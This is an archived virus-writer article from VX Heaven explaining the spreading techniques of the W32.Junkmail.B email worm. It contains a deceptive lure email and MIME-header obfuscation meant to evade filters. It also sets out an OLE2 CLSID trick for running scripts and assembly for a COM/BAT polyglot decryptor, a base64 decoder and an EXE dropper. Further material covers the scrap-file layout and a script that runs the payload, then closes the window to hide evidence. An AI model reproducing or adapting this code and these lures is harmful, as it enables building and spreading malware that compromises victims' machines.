VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

More Ins and Outs of JunkMail

roy g biv
Ready Rangers Liberation Front [7]
June 2005

[Back to index] [Comments]

Do you remember W32.Junkmail? It was publised in 29A#7/Articles/29A-7.009. It brought to you some new techniques for e-mail speading. Now there is W32.Junkmail.B, which takes those techniques even further.

Here is an example JunkMail e-mail before obfuscation:

MIME-Version: 1.0
Content-Type: multipart/mixed;


I received this file from you yesterday evening.
I think it was sent without you knowing by the Aliz virus.
The filename was changed but it looked like an important video inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see

Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

Content-Type: application/x-mplayer;
Content-Transfer-Encoding: base64
Content-ID: <EMAIL>

[base64 encoded file]

Here is an example JunkMail.B e-mail after obfuscation:

mIMe-VERSion:({) 1(b)   .(9)  0
CoNTent-tYPe:({)  M(K)u(A67)Lt(ots)I(I)PAr(o)t(i}E)   / m(q)I(t)x(d)Ed ;
 (J=u)bOu(Uj)n(i)dA(XT)RY (D)=(kC:) WNOQFOMM


I received this file from you yesterday evening.
I think it was sent without you knowing by the Badtrans virus.
The filename was altered but it looked like an important database inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see

coNTENt-TYPe: (Ve)t(%)ex(-s1)T(4) / (T)H(66r)TMl

=3C=49=46=52=41=4D=45 =53R=43=3D=43=49D=3AE=4D=41I=4C=20=57IDT=48=3D=30>
ConTENT-Type: A(4)PPl(w)I(H)C(N)Ati({)On (d)/(4};)  x-(1)M(YI)PLA(I)Yer;
  (]$)na(!r)m(6t{)e =(N`) e(J-)m(;n>)aI($0)l(hWq).(X1)!(6<)!!
cOnTenT-TRAnSFer-eNcOdiNG:(m)   b({H)A(N)S(#)e64
coNTenT-id: ({)< E(a'B)M(X)AIL(?)   > 

[base64 encoded file]

Yes, the engine has been improved to include spaces, and comments after ':'. There is also a new exploit that is related to OLE2-format files which have an unregistered extension. Using the right CLSID, it is possible to run scripts (and probably other things, too). The well-known CLSID is for MSHTA.EXE, to run HTA files. It is:


However, there is another CLSID that can also be used. It is for MSHTML.DLL, to display HTML pages. It is:


That one is used by Internet Explorer, but a bug means that IE will run the page continuously until the page is closed. To avoid this bug, you should close the page yourself.

We still use random choice of file content (not only the extension). We can choose between a .BAT file, a Windows executable file, and a OLE2 scrap file. The .BAT file is updated to also be a .COM file, and the OLE2 scrap file is updated to carry a script, if the unregistered extension method is used.

The .BAT file code was completely rewritten. It was made smaller, and no longer needs to drop a .COM file, since it is both formats already. It just renames itself to .COM and runs itself again. Now it looks like this:

  s             branch instruction for COM mode
  goto r:gb!    skip long line that follows in BAT mode

This decryptor came from my shellcode research using the imul instruction to decode bytes using ASCII-encoded nybbles. Since I was not restricted to an alphanumeric set, it was very easy. This code decodes our base64 decoder.

        push    38h
        pop     cx                      initialise key to decode imul
        sub     al, 21h                 an arbitrary value to give ASCII relative offsets
        push    ax
        pop     si
        push    ax
        pop     di
        sub     [si + 3f], cl           decode imul (48h -&gt; 10h)
        imul    ax, [si + 51], 48h      get top nybble
        xor     al, [si + 50]           combine with bottom nybble
        xor     al, 40                  decode byte
        and     [di + 50], ch           zero destination
        xor     [di + 50], al           store byte
        inc     si
        inc     si
        inc     di
        dec     cx
        jne     017b                    replaced by 011b

The base64 decoder and the file follow immediately. Since they are both base64-encoded now, the decoder can be partially encoded itself, and decode itself and the file at the same time. Since the CRLF are no longer emitted, so the code size is reduced. The block is delimited by a space, so the filename restriction is also removed.

        add     si, 50h                         point to base64 block
        add     di, 50h                         point to decode destination

b64decode       proc near
        lods    dword ptr [esi]
        push    4
        pop     cx

b64_inner       label near
        rol     eax, 8
        cmp     al, '0'
        jnb     b64_testchar
        add     al, (('/' shl 2) + 1) and 0ffh
        shr     al, 2                           '+' and '/' differ by only 1 bit
b64_testchar    label near
        add     al, 4
        cmp     al, 3fh
        jbe     b64_store
        sub     al, 45h
        cmp     al, 19h
        jbe     b64_store
        sub     al, 6

b64_store       label near
        shrd    ebx, eax, 6
        loop    b64_inner
        xchg    ebx, eax
        bswap   eax
        stos    dword ptr [di]
        dec     di
        cmp     byte ptr [si], 4fh              replaced during decode by ' '
        [jne    b64decode                       branch instruction is decoded]
b64decode       endp

now to drop and run decoded .EXE file

        mov     ah, 3ch
        mov     dx, 188h                        using MZ header as filename
        int     21h
        xchg    bx, ax
        mov     ah, 40h
        dec     cx
        int     21h
        mov     ah, 3eh
        int     21h
        mov     ah, 4Ah
        mov     bl, 42h                         must point to block of zeroes
        int     21h
        mov     ax, 4b00h
        int     21h
[file base64 data here]

The scrap file is the same 512 bytes-per-page OLE2 file with embedded .EXE. New is the presence of the CLSID, if the unregistered extension exploit is used.

Here is the file:

        db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h
                                                000 signature
        db      10h dup (0)                     008 unused
        dw      0, 0                            018 DLL version
        dw      0                               01c byte order (for Unicode)
        dw      9                               01e shift count for main FAT
        dw      0                               020 shift count for mini FAT
        dw      0                               022 reserved
        dd      0, 0                            024 reserved
        dd      1                               02c pages in main FAT
        dd      1                               030 page of root storage
        dd      0                               034 unused
        dd      0                               038 size of main pages
        dd      0                               03c page of mini FAT
        dd      0                               040 pages in mini FAT
        dd      0                               044 next page in main FAT (end of chain)
        dd      0                               048 unused
        dd      6dh dup (0)                     04c filler
        dd      0                               200 main FAT page
        dd      0fffffffeh                      204 root storage chain
        dd      ? dup (?)                       208 embedded object stream chain (variable size)
        dw      1, "Ole10Native", 14h dup (0)   400 stream name
        dw      1ah                             440 name length
        db      2                               442 attribute (2=stream, unchecked for Root Storage)
        db      0                               443 unused
        dd      0ffffffffh, 0ffffffffh          444 left and right node indexes
        dd      1                               44c storage index (overload as Root Storage)
        db      10h dup (0)                     450 CLSID


        CLSID   25336920-03f9-11cf-8fd0-00aa00686f13 (HTML Document)


        CLSID   3050f4d8-98b5-11cf-bb82-00aa00bdce0b (HTML Application)

        dd      0                               460 flags
        dq      0, 0                            464 create and modify times
        dd      2                               474 data page
        dd      ?                               478 stream size
        dd      0                               47c unused
        dw      3, "ITEM000", 18h dup (0)       480 scrap storage name
        dw      12h                             4c0 nname length
        db      1                               4c2 attribute (1=storage)
        db      0                               4c3 unused
        dd      0ffffffffh, 0ffffffffh          4c4 left and right node indexes
        dd      0                               4cc storage index
        CLSID   0003000c-0000-0000-c000-000000000046
                                                4d0 scrap CLSID
        dd      0                               4e0 flags
        dq      0, 0                            4e4 create and modify times
        dd      0                               4f4 data page (unused by storages)
        dd      0                               4f8 stream size
        dd      0                               4fc unused
        dd      40h dup (0)                     500 unused directory entries
        dd      ?                               600 scrap size
        dw      0                               604 number of strings following
        dw      3                               606 type (3=static)
        dd      6                               608 filename length
        db      "\.exe", 0                      60c filename (only directory and suffix required)
        dd      ?                               612 embedded object size

Embedded .EXE file follows immediately.

If the unregistered extension exploit is used, then this script is appended:

  new ActiveXObject('').exec('rundll32 shscrap,OpenScrap_RunDLL '+document.URL.substr(7));window.close()

It opens the file as a scrap file, after skipping the "file://" protocol, then closes the window, in order to hide the evidence, and avoid the IE bug.

The .SHS file is also special. I call it a self-destructing file, because after it runs, Windows will notice that it is malformed and try to fix it, but the resulting file is destroyed, and cannot be run again. It is another way to hide the evidence. :)

Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - The Gingerbread Man - Ultras - uNdErX - Vecna - VirusBuster - Whitehead

rgb/29A jun 2005
[email protected]
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka